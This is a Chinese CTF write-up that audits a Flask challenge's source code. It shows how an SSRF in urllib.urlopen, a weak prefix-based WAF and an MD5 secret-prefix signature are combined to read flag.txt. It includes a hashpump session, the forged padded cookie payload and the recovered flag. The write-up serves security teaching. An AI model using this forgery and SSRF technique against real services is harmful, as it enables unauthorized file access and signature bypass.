一、题面
提示:
提示flag在当前目录下的flag.txt中。
访问页面默认返回的是一段python代码,需要进行一下代码审计。
二、分析
2.1 代码审计
#!/usr/bin/env python
# encoding=utf-8
from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secret_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox):
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if self.checkSign():
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
elif "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if getSign(self.action, self.param) == self.sign:
return True
else:
return False
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt", "r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secret_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)
代码分析:
这段代码实现了一个简单的 Web 服务,用于处理网络扫描任务和文件读取任务。它通过签名验证和简单的 WAF 检查来增强安全性。
- 导入模块
from flask import Flask, request import socket import hashlib import urllib import sys import os import json
- 导入了 Flask 框架用于创建 Web 应用。
- 导入了
socket
、hashlib
、urllib
等模块用于网络请求、哈希计算等操作。sys
和os
用于系统相关的操作。json
用于处理 JSON 数据。
- 设置编码
reload(sys) sys.setdefaultencoding('latin1')
- 这是为了兼容 Python 2.x 的编码问题。在 Python 3.x 中,这行代码是不必要的。
- Flask 应用初始化
app = Flask(__name__) secret_key = os.urandom(16)
- 创建了一个 Flask 应用实例。
- 生成了一个随机的
secret_key
,用于签名验证。
- Task 类
class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if not os.path.exists(self.sandbox): os.mkdir(self.sandbox)
Task
类用于处理任务。- 初始化时,根据 IP 地址生成一个沙箱目录。
def Exec(self): result = {} result['code'] = 500 if self.checkSign(): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if resp == "Connection Timeout": result['data'] = resp else: print(resp) tmpfile.write(resp) tmpfile.close() result['code'] = 200 elif "read" in self.action: f = open("./%s/result.txt" % self.sandbox, '') result['code'] = 200 result['data'] = f.read() else: result['code'] = 500 result['msg'] = "Sign Error" return result
Exec
方法根据action
执行不同的任务:
- 如果
action
包含 “scan”,则调用scan
函数获取数据并写入文件。- 如果
action
包含 “read”,则读取文件内容。 (这里有个点,如果既包含scan又包含read,那么两个分支都会执行。)
如果验证签名失败,返回错误信息。
def checkSign(self): if getSign(self.action, self.param) == self.sign: return True else: return False
checkSign
方法用于验证签名是否正确。def getSign(action, param): return hashlib.md5(secret_key + param + action).hexdigest()
getSign
函数用于生成签名。
- 路由和视图函数
@app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param)
request.args.get("param", "")
:
- 尝试从
request.args
中获取名为param
的参数。- 如果
param
参数存在,则返回其值。- 如果
param
参数不存在,则返回默认值""
(空字符串)。
urllib.unquote
是一个函数,用于对 URL 编码的字符串进行解码。
/geneSign
路由用于生成签名。def md5(content): return hashlib.md5(content).hexdigest()
md5
函数用于计算 MD5 哈希值。def waf(param): check = param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False
waf
函数用于简单的 WAF 检查,防止某些危险的协议。7. 主程序
if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0', port=80)
- 主程序启动 Flask 应用,监听 80 端口。
总结
这段代码实现了一个简单的 Web 服务,用于处理网络扫描任务和文件读取任务。它通过签名验证和简单的 WAF 检查来增强安全性。
2.2 漏洞利用思路分析
- 三个路由
@app.route('/') #获取源代码
@app.route("/geneSign", methods=['GET', 'POST']) #获取签名
@app.route('/De1ta', methods=['GET', 'POST']) #从cookie中获取action和sign,再获取参数param以及ip然后传入Task类中,以json形式返回Task->Exec()
geneSign生成的哈希构成(secret_key + param + action),secret_key 未知,但是param可控,action是“scan”字符串。这里想到用哈希扩展攻击,在不知道secret_key的情况下也能计算哈希值。(哈希扩展攻击见本站:《哈希长度扩展攻击》一文,https://sxksec.cn/2024/11/29/mi-ma-xue-suan-fa-an-quan/ha-xi-chang-du-kuo-zhan-gong-ji/)
哈希长度扩展攻击(Hash Length Extension Attacks)是一种针对某些加密散列函数的攻击手段,特别适用于那些基于Merkle–Damgård结构的算法,如MD5和SHA-1。
这类攻击的核心在于,如果你知道一个消息(message)和密钥(key)的组合的哈希值,即使不知道密钥的具体值,只要知道密钥的长度,你就能在这个消息后面添加额外的信息,并计算出新的哈希值。
- scan函数
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
scan
方法用的是urllib.urlopen()
,没有对参数进行过滤,造成了SSRF漏洞,这里有两种方法可以读取本地文件。
1)直接写文件名flag.txt
2)local_file
,这个被过滤了。
具体参考:https://bugs.python.org/issue35907
- 所以整体思路如下:
1)通过伪造secret_key +flag.txt+scan+xxxxx...xxx+read
的哈希值,使得能够满足签名验证。
2)通过scan action获取flag.txt的值,通过read action读取result.txt的值。
三、解题
3.1 伪造签名
- 获取
secret_key + flag.txt + scan
的签名:
8100319869013029db5beab17bfa9ba9
- 构造
secret_key +flag.txt+scan+xxxxx...xxx+read
的签名:
因为secret_key + flag.txt +scan是固定的,扩展的内容就是read。secret_key + flag.txt
可以视作密钥。
keylength=len(secret_ket)+len(flag.txt)=16+8=24。
利用hashpump
工具构造哈希值:(推荐在kali中使用)
┌──(root💀kali)-[~]
└─# hashpump
Input Signature: 8100319869013029db5beab17bfa9ba9
Input Data: scan
Input Key Length: 24
Input Data to Add: read
677ae112e086b6faf3c0f2088773371c
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
转化为url编码:
action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read;sign=677ae112e086b6faf3c0f2088773371c
3.2 构造参数获取flag
/De1ta
路由传入param=flag.txt
,并在cookie设置action
和sign
即可得到flag
Flag:
flag{24270e18-7136-4fe7-93d6-e61713c16837}
总结
这个题目稍微难一些,考点主要包括:flask web系统代码审计、SSRF漏洞读取文件和哈希长度扩展攻击,相对比较综合。